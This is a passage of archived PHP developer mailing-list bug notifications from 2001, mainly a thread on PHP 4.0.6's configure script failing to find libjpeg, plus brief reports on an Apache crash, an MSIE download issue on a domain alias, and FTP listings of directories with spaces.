[PHP-DEV] Bug #11840: Can't find libjpeg after upgrade to 4.0.6
From: [EMAIL PROTECTED] Operating system: Linux 2.4/RedHat 7.1 PHP version: 4.0.6 PHP Bug Type: Compile Problem Bug description: Can't find libjpeg after upgrade to 4.0.6 When trying to compile 4.0.6 with the same configuration as 4.0.5, configure complains that it can't find libjpeg, although the library files are located in the specified directory (/usr). This is the output of configure: checking whether to include PCRE support... yes checking for memmove... (cached) yes checking whether to include PDFlib support... yes checking for the location of libjpeg... yes checking for jpeg_read_header in -ljpeg... no configure: error: libjpeg not found! Here is my command line: ./configure \ --with-apxs=/usr/sbin/apxs \ --with-gettext=no \ --with-pgsql \ --with-msql=/usr/local/Hughes \ --with-mnogosearch=/usr/local/mnogosearch \ --without-mysql \ --without-gd \ --with-xml \ --with-dom=shared,/usr/local \ --with-java=/usr/local/jdk1.2.2 \ --with-pdflib=/usr/local \ --with-pspell \ --enable-track-vars=yes \ --with-jpeg-dir=/usr \ --with-tiff-dir=/usr \ --with-zlib-dir=/usr \ --with-session=/tmp \ --enable-trans-sid -- Edit Bug report at: http://bugs.php.net/?id=11840edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11838 Updated: Apache crashed after PHP inicialization
ID: 11838 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Feedback Bug Type: Reproducible crash Operating system: PHP Version: 4.0.6 Assigned To: Comments: Please add the backtrace that gdb showed. Derick Previous Comments: --- [2001-07-02 12:06:03] [EMAIL PROTECTED] Compiling Apache 1.3.20, PHP 4.0.6 and mod_ssl 2.8.4 (with OpenSSL/0.9.6a) produced correctly httpd, but when httpd is started (httpd with or without -DSSL), it generates /core file... - gdb says usefull informations...:-) Version PHP4.0.5 and the same way works correctly. PaJaSoft --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11838edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11840 Updated: Can't find libjpeg after upgrade to 4.0.6
ID: 11840 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Feedback Bug Type: Compile Problem Operating system: PHP Version: 4.0.6 Assigned To: Comments: Can you add the config.log file to this report? Derick Previous Comments: --- [2001-07-02 12:17:59] [EMAIL PROTECTED] When trying to compile 4.0.6 with the same configuration as 4.0.5, configure complains that it can't find libjpeg, although the library files are located in the specified directory (/usr). This is the output of configure: checking whether to include PCRE support... yes checking for memmove... (cached) yes checking whether to include PDFlib support... yes checking for the location of libjpeg... yes checking for jpeg_read_header in -ljpeg... no configure: error: libjpeg not found! Here is my command line: ./configure --with-apxs=/usr/sbin/apxs --with-gettext=no --with-pgsql --with-msql=/usr/local/Hughes --with-mnogosearch=/usr/local/mnogosearch --without-mysql --without-gd --with-xml --with-dom=shared,/usr/local --with-java=/usr/local/jdk1.2.2 --with-pdflib=/usr/local --with-pspell --enable-track-vars=yes --with-jpeg-dir=/usr --with-tiff-dir=/usr --with-zlib-dir=/usr --with-session=/tmp --enable-trans-sid --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11840edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11840 Updated: Can't find libjpeg after upgrade to 4.0.6
ID: 11840 User Update by: [EMAIL PROTECTED] Old-Status: Feedback Status: Open Bug Type: Compile Problem Operating system: Linux 2.4/RedHat 7.1 PHP Version: 4.0.6 Description: Can't find libjpeg after upgrade to 4.0.6 Here's the tail end of config.log: configure:39416: checking whether to include PDFlib support configure:39894: checking for the location of libjpeg configure:39938: checking for jpeg_read_header in -ljpeg configure:39959: gcc -o conftest -g -O2 -DLINUX=22 -DMOD_SSL=208101 -DEAPI -DEAPI_MM -DUSE_EXPAT -DSUPPORT_UTF8 -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/classic -L/usr/local/jdk1.2.2/jre/lib/i386/classic -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/native_threads -L/usr/local/jdk1.2.2/jre/lib/i386/native_threads -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386 -L/usr/local/jdk1.2.2/jre/lib/i386 -Wl,-rpath,/usr/local/mnogosearch/lib -L/usr/local/mnogosearch/lib -Wl,-rpath,/usr/local/Hughes/lib -L/usr/local/Hughes/lib conftest.c -ljpeg -L/usr/lib -lz -lmsql -ludmsearch -lpq -lcrypt -lz -lcrypt -lresolv -lm -ldl -lnsl -lresolv 15 /tmp/ccxhNgGY.o: In function `main': /usr/local/src/php-4.0.6/configure:39955: undefined reference to `jpeg_read_header' collect2: ld returned 1 exit status configure: failed program was: #line 39948 configure #include confdefs.h /* Override any gcc2 internal prototype to avoid an error. */ /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char jpeg_read_header(); int main() { jpeg_read_header() ; return 0; } Previous Comments: --- [2001-07-02 12:40:45] [EMAIL PROTECTED] Can you add the config.log file to this report? Derick --- [2001-07-02 12:17:59] [EMAIL PROTECTED] When trying to compile 4.0.6 with the same configuration as 4.0.5, configure complains that it can't find libjpeg, although the library files are located in the specified directory (/usr). This is the output of configure: checking whether to include PCRE support... yes checking for memmove... (cached) yes checking whether to include PDFlib support... yes checking for the location of libjpeg... yes checking for jpeg_read_header in -ljpeg... no configure: error: libjpeg not found! Here is my command line: ./configure --with-apxs=/usr/sbin/apxs --with-gettext=no --with-pgsql --with-msql=/usr/local/Hughes --with-mnogosearch=/usr/local/mnogosearch --without-mysql --without-gd --with-xml --with-dom=shared,/usr/local --with-java=/usr/local/jdk1.2.2 --with-pdflib=/usr/local --with-pspell --enable-track-vars=yes --with-jpeg-dir=/usr --with-tiff-dir=/usr --with-zlib-dir=/usr --with-session=/tmp --enable-trans-sid --- Full Bug description available at: http://bugs.php.net/?id=11840 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11840 Updated: Can't find libjpeg after upgrade to 4.0.6
ID: 11840 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Feedback Bug Type: Compile Problem Operating system: PHP Version: 4.0.6 Assigned To: Comments: Can you let us know what this shows: cd /usr/lib nm [name of jpeg library.so] | grep jpeg_read_header Is it possible that you have other version of the libarary on your system perhaps? En which version of the jpeg library do you have? Derick Previous Comments: --- [2001-07-02 12:52:58] [EMAIL PROTECTED] Here's the tail end of config.log: configure:39416: checking whether to include PDFlib support configure:39894: checking for the location of libjpeg configure:39938: checking for jpeg_read_header in -ljpeg configure:39959: gcc -o conftest -g -O2 -DLINUX=22 -DMOD_SSL=208101 -DEAPI -DEAPI_MM -DUSE_EXPAT -DSUPPORT_UTF8 -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/classic -L/usr/local/jdk1.2.2/jre/lib/i386/classic -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/native_threads -L/usr/local/jdk1.2.2/jre/lib/i386/native_threads -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386 -L/usr/local/jdk1.2.2/jre/lib/i386 -Wl,-rpath,/usr/local/mnogosearch/lib -L/usr/local/mnogosearch/lib -Wl,-rpath,/usr/local/Hughes/lib -L/usr/local/Hughes/lib conftest.c -ljpeg -L/usr/lib -lz -lmsql -ludmsearch -lpq -lcrypt -lz -lcrypt -lresolv -lm -ldl -lnsl -lresolv 15 /tmp/ccxhNgGY.o: In function `main': /usr/local/src/php-4.0.6/configure:39955: undefined reference to `jpeg_read_header' collect2: ld returned 1 exit status configure: failed program was: #line 39948 configure #include confdefs.h /* Override any gcc2 internal prototype to avoid an error. */ /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char jpeg_read_header(); int main() { jpeg_read_header() ; return 0; } --- [2001-07-02 12:40:45] [EMAIL PROTECTED] Can you add the config.log file to this report? Derick --- [2001-07-02 12:17:59] [EMAIL PROTECTED] When trying to compile 4.0.6 with the same configuration as 4.0.5, configure complains that it can't find libjpeg, although the library files are located in the specified directory (/usr). This is the output of configure: checking whether to include PCRE support... yes checking for memmove... (cached) yes checking whether to include PDFlib support... yes checking for the location of libjpeg... yes checking for jpeg_read_header in -ljpeg... no configure: error: libjpeg not found! Here is my command line: ./configure --with-apxs=/usr/sbin/apxs --with-gettext=no --with-pgsql --with-msql=/usr/local/Hughes --with-mnogosearch=/usr/local/mnogosearch --without-mysql --without-gd --with-xml --with-dom=shared,/usr/local --with-java=/usr/local/jdk1.2.2 --with-pdflib=/usr/local --with-pspell --enable-track-vars=yes --with-jpeg-dir=/usr --with-tiff-dir=/usr --with-zlib-dir=/usr --with-session=/tmp --enable-trans-sid --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11840edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11840 Updated: Can't find libjpeg after upgrade to 4.0.6
ID: 11840 User Update by: [EMAIL PROTECTED] Old-Status: Feedback Status: Open Bug Type: Compile Problem Operating system: Linux 2.4/RedHat 7.1 PHP Version: 4.0.6 Description: Can't find libjpeg after upgrade to 4.0.6 [pete@xx lib]$ nm libjpeg.so | grep jpeg_read_header c2f0 T jpeg_read_header [pete@xx lib]$ rpm -q libjpeg libjpeg-6b-15 [pete@xx lib]$ ls | grep jpeg libimlib-jpeg.a libimlib-jpeg.so libjpeg.a libjpeg.la libjpeg.so libjpeg.so.62 libjpeg.so.62.0.0 Previous Comments: --- [2001-07-02 13:01:16] [EMAIL PROTECTED] Can you let us know what this shows: cd /usr/lib nm [name of jpeg library.so] | grep jpeg_read_header Is it possible that you have other version of the libarary on your system perhaps? En which version of the jpeg library do you have? Derick --- [2001-07-02 12:52:58] [EMAIL PROTECTED] Here's the tail end of config.log: configure:39416: checking whether to include PDFlib support configure:39894: checking for the location of libjpeg configure:39938: checking for jpeg_read_header in -ljpeg configure:39959: gcc -o conftest -g -O2 -DLINUX=22 -DMOD_SSL=208101 -DEAPI -DEAPI_MM -DUSE_EXPAT -DSUPPORT_UTF8 -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/classic -L/usr/local/jdk1.2.2/jre/lib/i386/classic -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/native_threads -L/usr/local/jdk1.2.2/jre/lib/i386/native_threads -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386 -L/usr/local/jdk1.2.2/jre/lib/i386 -Wl,-rpath,/usr/local/mnogosearch/lib -L/usr/local/mnogosearch/lib -Wl,-rpath,/usr/local/Hughes/lib -L/usr/local/Hughes/lib conftest.c -ljpeg -L/usr/lib -lz -lmsql -ludmsearch -lpq -lcrypt -lz -lcrypt -lresolv -lm -ldl -lnsl -lresolv 15 /tmp/ccxhNgGY.o: In function `main': /usr/local/src/php-4.0.6/configure:39955: undefined reference to `jpeg_read_header' collect2: ld returned 1 exit status configure: failed program was: #line 39948 configure #include confdefs.h /* Override any gcc2 internal prototype to avoid an error. */ /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char jpeg_read_header(); int main() { jpeg_read_header() ; return 0; } --- [2001-07-02 12:40:45] [EMAIL PROTECTED] Can you add the config.log file to this report? Derick --- [2001-07-02 12:17:59] [EMAIL PROTECTED] When trying to compile 4.0.6 with the same configuration as 4.0.5, configure complains that it can't find libjpeg, although the library files are located in the specified directory (/usr). This is the output of configure: checking whether to include PCRE support... yes checking for memmove... (cached) yes checking whether to include PDFlib support... yes checking for the location of libjpeg... yes checking for jpeg_read_header in -ljpeg... no configure: error: libjpeg not found! Here is my command line: ./configure --with-apxs=/usr/sbin/apxs --with-gettext=no --with-pgsql --with-msql=/usr/local/Hughes --with-mnogosearch=/usr/local/mnogosearch --without-mysql --without-gd --with-xml --with-dom=shared,/usr/local --with-java=/usr/local/jdk1.2.2 --with-pdflib=/usr/local --with-pspell --enable-track-vars=yes --with-jpeg-dir=/usr --with-tiff-dir=/usr --with-zlib-dir=/usr --with-session=/tmp --enable-trans-sid --- Full Bug description available at: http://bugs.php.net/?id=11840 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11841: MSIE tries to download file when you hit domain alias
From: [EMAIL PROTECTED] Operating system: LNX 2.2.19 Slack PHP version: 4.0.6 PHP Bug Type: Scripting Engine problem Bug description: MSIE tries to download file when you hit domain alias When I hit my site normally: http://lowmagnet.org, all is ok, and it brings up my first page. When I hit my site with its www. alias (from DNS level) IE tries to download the file. I'm not certain why it would do this, because most other browsers handle this correctly. My mime.types file: text/html html htm php My httpd.conf: DirectoryIndex index.php index.html index.shtml AddType application/x-httpd-php .php AddType application/x-httpd-php-source .phps My PHP.ini: default_mimetype = text/html Like I said, if you point at a specific directory under either DNS registry, no worries. If you point to the root on the www. spec, it doesn't seem to send the right mimetype. I figure if it's working everywhere but that one place it's probably config. I just want to eliminate suspects. Thanks. -- Edit Bug report at: http://bugs.php.net/?id=11841edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11841 Updated: MSIE tries to download file when you hit domain alias
ID: 11841 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Feedback Bug Type: Scripting Engine problem Operating system: PHP Version: 4.0.6 Assigned To: Comments: Works fine from here with both NS 4.77 and IE 5.00.2314.1003 Which version of IE are you using? However, this can't be no problem with PHP I think. Derick Previous Comments: --- [2001-07-02 13:11:53] [EMAIL PROTECTED] When I hit my site normally: http://lowmagnet.org, all is ok, and it brings up my first page. When I hit my site with its www. alias (from DNS level) IE tries to download the file. I'm not certain why it would do this, because most other browsers handle this correctly. My mime.types file: text/html html htm php My httpd.conf: DirectoryIndex index.php index.html index.shtml AddType application/x-httpd-php .php AddType application/x-httpd-php-source .phps My PHP.ini: default_mimetype = text/html Like I said, if you point at a specific directory under either DNS registry, no worries. If you point to the root on the www. spec, it doesn't seem to send the right mimetype. I figure if it's working everywhere but that one place it's probably config. I just want to eliminate suspects. Thanks. --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11841edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11840 Updated: Can't find libjpeg after upgrade to 4.0.6
ID: 11840 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Feedback Bug Type: Compile Problem Operating system: PHP Version: 4.0.6 Assigned To: Comments: I've exactly th esame config here, and I got no problems. Can you try not to use the --with-jpeg-dir (as I didn't use that in my configure line). Derick Previous Comments: --- [2001-07-02 13:08:18] [EMAIL PROTECTED] [pete@xx lib]$ nm libjpeg.so | grep jpeg_read_header c2f0 T jpeg_read_header [pete@xx lib]$ rpm -q libjpeg libjpeg-6b-15 [pete@xx lib]$ ls | grep jpeg libimlib-jpeg.a libimlib-jpeg.so libjpeg.a libjpeg.la libjpeg.so libjpeg.so.62 libjpeg.so.62.0.0 --- [2001-07-02 13:01:16] [EMAIL PROTECTED] Can you let us know what this shows: cd /usr/lib nm [name of jpeg library.so] | grep jpeg_read_header Is it possible that you have other version of the libarary on your system perhaps? En which version of the jpeg library do you have? Derick --- [2001-07-02 12:52:58] [EMAIL PROTECTED] Here's the tail end of config.log: configure:39416: checking whether to include PDFlib support configure:39894: checking for the location of libjpeg configure:39938: checking for jpeg_read_header in -ljpeg configure:39959: gcc -o conftest -g -O2 -DLINUX=22 -DMOD_SSL=208101 -DEAPI -DEAPI_MM -DUSE_EXPAT -DSUPPORT_UTF8 -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/classic -L/usr/local/jdk1.2.2/jre/lib/i386/classic -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/native_threads -L/usr/local/jdk1.2.2/jre/lib/i386/native_threads -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386 -L/usr/local/jdk1.2.2/jre/lib/i386 -Wl,-rpath,/usr/local/mnogosearch/lib -L/usr/local/mnogosearch/lib -Wl,-rpath,/usr/local/Hughes/lib -L/usr/local/Hughes/lib conftest.c -ljpeg -L/usr/lib -lz -lmsql -ludmsearch -lpq -lcrypt -lz -lcrypt -lresolv -lm -ldl -lnsl -lresolv 15 /tmp/ccxhNgGY.o: In function `main': /usr/local/src/php-4.0.6/configure:39955: undefined reference to `jpeg_read_header' collect2: ld returned 1 exit status configure: failed program was: #line 39948 configure #include confdefs.h /* Override any gcc2 internal prototype to avoid an error. */ /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char jpeg_read_header(); int main() { jpeg_read_header() ; return 0; } --- [2001-07-02 12:40:45] [EMAIL PROTECTED] Can you add the config.log file to this report? Derick --- [2001-07-02 12:17:59] [EMAIL PROTECTED] When trying to compile 4.0.6 with the same configuration as 4.0.5, configure complains that it can't find libjpeg, although the library files are located in the specified directory (/usr). This is the output of configure: checking whether to include PCRE support... yes checking for memmove... (cached) yes checking whether to include PDFlib support... yes checking for the location of libjpeg... yes checking for jpeg_read_header in -ljpeg... no configure: error: libjpeg not found! Here is my command line: ./configure --with-apxs=/usr/sbin/apxs --with-gettext=no --with-pgsql --with-msql=/usr/local/Hughes --with-mnogosearch=/usr/local/mnogosearch --without-mysql --without-gd --with-xml --with-dom=shared,/usr/local --with-java=/usr/local/jdk1.2.2 --with-pdflib=/usr/local --with-pspell --enable-track-vars=yes --with-jpeg-dir=/usr --with-tiff-dir=/usr --with-zlib-dir=/usr --with-session=/tmp --enable-trans-sid --- The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online. ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11840edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11842: ftp_rawlist and ftp_nlist dont show list in directory that has spaces in it
From: [EMAIL PROTECTED] Operating system: ftp server on nt 4.0 / apache/php on win 2000 PHP version: 4.0.4 PHP Bug Type: FTP related Bug description: ftp_rawlist and ftp_nlist dont show list in directory that has spaces in it html body ?php $conn_id = ftp_connect(ftp.feevale.br); $login_result = ftp_login($conn_id, anonymous, [EMAIL PROTECTED]); echo /Alexandre_Zeni/Administracao/Produção IIBR\n; ftp_chdir ($conn_id, /Alexandre_Zeni/Administracao/Produção II); $ftp_dir_corrente = ftp_pwd($conn_id); $ftp_lista_dir_corrente = ftp_rawlist ($conn_id, $ftp_dir_corrente); echo $ftp_lista_dir_corrente.BR\n ; echo /Alexandre_Zeni/Administracao/ProjetosBR\n; ftp_chdir ($conn_id, /Alexandre_Zeni/Administracao/Projetos); $ftp_dir_corrente = ftp_pwd($conn_id); $ftp_lista_dir_corrente = ftp_nlist ($conn_id, $ftp_dir_corrente); echo $ftp_lista_dir_corrente.BR\n ; ftp_quit($conn_id); ? /body /html -- Edit Bug report at: http://bugs.php.net/?id=11842edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11840 Updated: Can't find libjpeg after upgrade to 4.0.6
ID: 11840 User Update by: [EMAIL PROTECTED] Old-Status: Feedback Status: Open Bug Type: Compile Problem Operating system: Linux 2.4/RedHat 7.1 PHP Version: 4.0.6 Description: Can't find libjpeg after upgrade to 4.0.6 Configure will complete without errors if I leave out --with-jpeg-dir. Of course, PDFlib probably won't let me use JPEG files now, but that's not a problem for me. Previous Comments: --- [2001-07-02 13:28:38] [EMAIL PROTECTED] I've exactly th esame config here, and I got no problems. Can you try not to use the --with-jpeg-dir (as I didn't use that in my configure line). Derick --- [2001-07-02 13:08:18] [EMAIL PROTECTED] [pete@xx lib]$ nm libjpeg.so | grep jpeg_read_header c2f0 T jpeg_read_header [pete@xx lib]$ rpm -q libjpeg libjpeg-6b-15 [pete@xx lib]$ ls | grep jpeg libimlib-jpeg.a libimlib-jpeg.so libjpeg.a libjpeg.la libjpeg.so libjpeg.so.62 libjpeg.so.62.0.0 --- [2001-07-02 13:01:16] [EMAIL PROTECTED] Can you let us know what this shows: cd /usr/lib nm [name of jpeg library.so] | grep jpeg_read_header Is it possible that you have other version of the libarary on your system perhaps? En which version of the jpeg library do you have? Derick --- [2001-07-02 12:52:58] [EMAIL PROTECTED] Here's the tail end of config.log: configure:39416: checking whether to include PDFlib support configure:39894: checking for the location of libjpeg configure:39938: checking for jpeg_read_header in -ljpeg configure:39959: gcc -o conftest -g -O2 -DLINUX=22 -DMOD_SSL=208101 -DEAPI -DEAPI_MM -DUSE_EXPAT -DSUPPORT_UTF8 -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/classic -L/usr/local/jdk1.2.2/jre/lib/i386/classic -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/native_threads -L/usr/local/jdk1.2.2/jre/lib/i386/native_threads -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386 -L/usr/local/jdk1.2.2/jre/lib/i386 -Wl,-rpath,/usr/local/mnogosearch/lib -L/usr/local/mnogosearch/lib -Wl,-rpath,/usr/local/Hughes/lib -L/usr/local/Hughes/lib conftest.c -ljpeg -L/usr/lib -lz -lmsql -ludmsearch -lpq -lcrypt -lz -lcrypt -lresolv -lm -ldl -lnsl -lresolv 15 /tmp/ccxhNgGY.o: In function `main': /usr/local/src/php-4.0.6/configure:39955: undefined reference to `jpeg_read_header' collect2: ld returned 1 exit status configure: failed program was: #line 39948 configure #include confdefs.h /* Override any gcc2 internal prototype to avoid an error. */ /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char jpeg_read_header(); int main() { jpeg_read_header() ; return 0; } --- [2001-07-02 12:40:45] [EMAIL PROTECTED] Can you add the config.log file to this report? Derick --- The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online. Full Bug description available at: http://bugs.php.net/?id=11840 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11841 Updated: MSIE tries to download file when you hit domain alias
ID: 11841 User Update by: [EMAIL PROTECTED] Old-Status: Feedback Status: Open Bug Type: Scripting Engine problem Operating system: LNX 2.2.19 Slack PHP Version: 4.0.6 Description: MSIE tries to download file when you hit domain alias I'm using MSIE 5.5. Opera 5.11 works fine with the document, as does lynx. It appears that the way my site is set up, hitting http://www.lowmagnet.org will not suffice. Is there a workaround? perhaps a redirect like the below: httpd.conf: DirectoryIndex index.html index.php index.shtml index.html: meta http-equiv=refresh content=0; URL=http://www.lowmagnet.org/index.php; Would work. I just don't like kludges such as these. If only IE would listen to the mimetype. But still, why is this happening only on my system? I'm going to run a recording in loadrunner to see if it can pull across the headers.. Previous Comments: --- [2001-07-02 13:26:09] [EMAIL PROTECTED] Works fine from here with both NS 4.77 and IE 5.00.2314.1003 Which version of IE are you using? However, this can't be no problem with PHP I think. Derick --- [2001-07-02 13:11:53] [EMAIL PROTECTED] When I hit my site normally: http://lowmagnet.org, all is ok, and it brings up my first page. When I hit my site with its www. alias (from DNS level) IE tries to download the file. I'm not certain why it would do this, because most other browsers handle this correctly. My mime.types file: text/html html htm php My httpd.conf: DirectoryIndex index.php index.html index.shtml AddType application/x-httpd-php .php AddType application/x-httpd-php-source .phps My PHP.ini: default_mimetype = text/html Like I said, if you point at a specific directory under either DNS registry, no worries. If you point to the root on the www. spec, it doesn't seem to send the right mimetype. I figure if it's working everywhere but that one place it's probably config. I just want to eliminate suspects. Thanks. --- Full Bug description available at: http://bugs.php.net/?id=11841 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11841 Updated: MSIE tries to download file when you hit domain alias
ID: 11841 User Update by: [EMAIL PROTECTED] Old-Status: Open Status: Closed Bug Type: Scripting Engine problem Operating system: LNX 2.2.19 Slack PHP Version: 4.0.6 Description: MSIE tries to download file when you hit domain alias Apparently my browser was on crack. I've been rebooting several times to make sure it wasn't browser related, and after running it through loadrunner, it worked fine. Chalk it up to a bad proxy or something.. .. Previous Comments: --- [2001-07-02 13:52:56] [EMAIL PROTECTED] I'm using MSIE 5.5. Opera 5.11 works fine with the document, as does lynx. It appears that the way my site is set up, hitting http://www.lowmagnet.org will not suffice. Is there a workaround? perhaps a redirect like the below: httpd.conf: DirectoryIndex index.html index.php index.shtml index.html: meta http-equiv=refresh content=0; URL=http://www.lowmagnet.org/index.php; Would work. I just don't like kludges such as these. If only IE would listen to the mimetype. But still, why is this happening only on my system? I'm going to run a recording in loadrunner to see if it can pull across the headers.. --- [2001-07-02 13:26:09] [EMAIL PROTECTED] Works fine from here with both NS 4.77 and IE 5.00.2314.1003 Which version of IE are you using? However, this can't be no problem with PHP I think. Derick --- [2001-07-02 13:11:53] [EMAIL PROTECTED] When I hit my site normally: http://lowmagnet.org, all is ok, and it brings up my first page. When I hit my site with its www. alias (from DNS level) IE tries to download the file. I'm not certain why it would do this, because most other browsers handle this correctly. My mime.types file: text/html html htm php My httpd.conf: DirectoryIndex index.php index.html index.shtml AddType application/x-httpd-php .php AddType application/x-httpd-php-source .phps My PHP.ini: default_mimetype = text/html Like I said, if you point at a specific directory under either DNS registry, no worries. If you point to the root on the www. spec, it doesn't seem to send the right mimetype. I figure if it's working everywhere but that one place it's probably config. I just want to eliminate suspects. Thanks. --- Full Bug description available at: http://bugs.php.net/?id=11841 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11841 Updated: MSIE tries to download file when you hit domain alias
ID: 11841 Updated by: derick Reported By: [EMAIL PROTECTED] Status: Closed Bug Type: Scripting Engine problem Operating system: PHP Version: 4.0.6 Assigned To: Comments: Lets blame it on MicroSoft :) Previous Comments: --- [2001-07-02 13:59:44] [EMAIL PROTECTED] Apparently my browser was on crack. I've been rebooting several times to make sure it wasn't browser related, and after running it through loadrunner, it worked fine. Chalk it up to a bad proxy or something.. .. --- [2001-07-02 13:52:56] [EMAIL PROTECTED] I'm using MSIE 5.5. Opera 5.11 works fine with the document, as does lynx. It appears that the way my site is set up, hitting http://www.lowmagnet.org will not suffice. Is there a workaround? perhaps a redirect like the below: httpd.conf: DirectoryIndex index.html index.php index.shtml index.html: meta http-equiv=refresh content=0; URL=http://www.lowmagnet.org/index.php; Would work. I just don't like kludges such as these. If only IE would listen to the mimetype. But still, why is this happening only on my system? I'm going to run a recording in loadrunner to see if it can pull across the headers.. --- [2001-07-02 13:26:09] [EMAIL PROTECTED] Works fine from here with both NS 4.77 and IE 5.00.2314.1003 Which version of IE are you using? However, this can't be no problem with PHP I think. Derick --- [2001-07-02 13:11:53] [EMAIL PROTECTED] When I hit my site normally: http://lowmagnet.org, all is ok, and it brings up my first page. When I hit my site with its www. alias (from DNS level) IE tries to download the file. I'm not certain why it would do this, because most other browsers handle this correctly. My mime.types file: text/html html htm php My httpd.conf: DirectoryIndex index.php index.html index.shtml AddType application/x-httpd-php .php AddType application/x-httpd-php-source .phps My PHP.ini: default_mimetype = text/html Like I said, if you point at a specific directory under either DNS registry, no worries. If you point to the root on the www. spec, it doesn't seem to send the right mimetype. I figure if it's working everywhere but that one place it's probably config. I just want to eliminate suspects. Thanks. --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11841edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11843:
From: [EMAIL PROTECTED] Operating system: PHP version: Earlier? Upgrade first! PHP Bug Type: Feature/Change Request Bug description: -- Edit Bug report at: http://bugs.php.net/?id=11843edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11843 Updated:
